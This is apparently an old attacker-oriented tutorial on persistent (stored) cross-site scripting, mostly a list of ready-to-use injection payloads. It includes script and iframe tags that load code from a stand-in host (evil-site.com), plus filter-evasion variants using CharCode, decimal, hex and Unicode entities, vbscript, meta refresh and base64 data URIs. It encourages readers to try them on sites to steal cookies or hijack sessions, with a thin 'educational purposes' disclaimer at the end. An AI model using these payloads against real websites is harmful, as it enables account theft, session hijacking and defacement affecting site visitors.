Persistent XSS Attack

The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS), because both

works on a victim site and tries to hack users informations and the difference is that in websites

vulnerables to Persistent XSS the attacker doesn't need to



provide the crafted url to the users, because the website itself permits to users to insert fixed data into

the system: this is the case for example of "guestbooks". Usually the users uses 


that kind of tool to leave messages to the owned 

of the website and at a first look it doesn't seems something dangerous, but if an 

attacker discover that the system is vulnerable can insert some malicious code in his

message and let ALL visitors to be victim of that.

This works when the tool provided (the guestbook in the example) doesn't do any 

check on the content of the inserted message: it just inserts the data provided from

the user into the result page.

Again as the name suggests, this is the type of XSS attack the attacker would want to get. Persistent

attacks are injected permanently into the code of the site, so anyone who views the site will be able

to

see permanently. In order for these to work, the code has to be made to store itself on the sites server

somehow, which can be hard to find. 

An embarrassing example of this was an XSS vulnerability discovered on this site by one of our users
 (fixed now, obviously) affecting the page all.php. The register process wasn't sanitized at all, so all a

 user had to do was simply register with a username containing HTML or JavaScript code. This was

an obvious vulnerability which should have been spotted from the beginning, but just like XSS on

other sites it was missed. If not fixed, this vulnerability would effect all.php as well as the forums and

 anywhere where the username was displayed on the site. A good place to look out for this

vulnerability is basic forum scripts that site owners have made themselves or found off sites

designed

to help novices. 

With both of these attacks, it is also possible to run malicious code from another site again making

the possibilities of attack endless. Javascript has a lot of features the are not well know, such as

changing the images on sites from images[number].src and anyone who uses myspace will know the

CSS can be used to remove or replace certain sections of a site based on name. If you have a

permanently vulnerable site, injecting code as simple as the one below will allow you to run XSS off

another site.

<SCRIPT SRC=http://evil-site.com/xss.js> </SCRIPT>

Getting Past Basic Protection ?

So what if a site owner knows about XSS, but has provided some but very little protection against it?

Well, this is where CharCode comes in. Char code is basically just a simple form of character

encoding that can encode blocked characters so they get past the protection but still get displayed

normally on the page. Here is a very common one that will pop up alerts saying "XSS" if it is

vulnerable.

';alert(String.fromCharCode(88,83,83))//\'; alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\"; alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT> alert(String.fromCharCode(88,83,83))</SCRIPT>  

This is a very useful XSS to know, as it provides more than one type of attack at once. If you get

only

one or two alerts, you know that only one of two of them work, so you need to try to eliminate some

 of them to text which one is affecting the site. The CharCode for "X" is 88 and "S" is 83. As you can

 see, each provides a slight variation to try to beat character blocking. 

XSS could also be hidden in a none existent image. This code below would run malicious JavaScript

disguised as an image.

<img src="javascript:alert('XSS');">

What if quotes are blocked? No problem, just inject the site like so: 

<img src=javascript:alert(&quot;XSS&quot;)>

The &quot; will be interpreted in html as a " so the code will run fine. The next one below is very

likely to work if you find a site is vulnerable. 

<img src=javascript:alert(String.fromCharCode(88,83,83))>

 The XSS is hidden in image form and CharCode is being used to display the XSS vulnerability.

Now things get slightly more complicated as we enter ASCII and Unicode. Unicode is just a basic

code that was invented to allow all characters to be available to everyone e.g. for different languages

such as chinese character symbols. And ASCII has a similar purpose. You can go to 

Click Me to view the HTML code needed for ASCII code. This below shows the

whole code in ASCII form.

<img src=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> 

 As you can tell, this will beat many filters as the code is basically unrecognisable. However, 

translating the code can display what it was designed to do. Next for Unicode, again this makes the 

 text unrecognisable but works the same.

<img src=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114&#0000105&#0000112 &#0000116&#0000058&#0000097&#0000108&#0000101 &#0000114&#0000116&#0000040&#0000039&#0000088 &#0000083&#0000083&#0000039&#0000041> 

 If the site has a limited amount of characters allowed, this probably won't be useful. As mentioned

previously, hex can also be used for XSS. The example below shows this. 

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69 &#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27 &#x58&#x53&#x53&#x27&#x29>

Again unrecognisable which makes it a great XSS to use.

The list of possible XSS attacks is endless and is far more than is covered here. With so many

ways to bypass security checks site owners have to work harder to try to protect their sites. As

well as web forms being used on most sites these days allowing users to enter code which will be

stored somewhere and inevitably viewed by someone else XSS can be used for almost anything.

With practise XSS can be used to run a hidden cookie stealer which a user will view and allow

you to steal their login info or if sessions are used perform "session hijacking" where you steal

their session data and again log in as them. To the simple defacement of a website through HTML

or Javascript. XSS is definitely an attack method which should be studied well as it provides such

a common method of attack.

As mentioned above, the list of possible XSS attacks is endless, there isn't enough room to

mention them here, but I will finish with some more XSS examples that may effect a vulnerable

site.

<IMG SRC="jav&#x0A;ascript:alert('XSS');"> - new line vulnerability 

 

<iframe src=http://evil-site.com/evil.html < - XSS using an iframe to display a whole new page

 

<SCRIPT>x=/XSS/ alert(x.source)</SCRIPT> - again beat checks using Javascript

 

<BODY BACKGROUND="javascript:alert('XSS')"> - infected body tag

 

<BGSOUND SRC="javascript:alert('XSS');">

 

<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - stylesheet vulnerability

 

<IMG SRC='vbscript:msgbox("XSS")'> - vbscript, scripting language similar to javascript, again can help beat validation checks

 

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - incorrectly parsed meta refresh

 

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

base64 encoding, another form of encryption, this one is less likely to work
.
<SCRIPT SRC="http://evil-site.com/xss.jpg"></SCRIPT> - very sneaky method, here you

rename

your .js to .jpg, but since you have the script tags it will still be read as a js file.

The list goes on and on, the best way is to just try them yourself. A lot of the time incorrectly

written HTML code will be the best method. If one way doesn't work, try adding an extra ">" or

"<" to the start or end of the code for example or view the source of the page for code tags you

need to close. Adding a "'>" to the end then starting your own malicious code. Well, that's the end

 of this tutorial. For more XSS attack example just use google as more of these are being though

up every day. Soon you should even be able to invent your own.

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.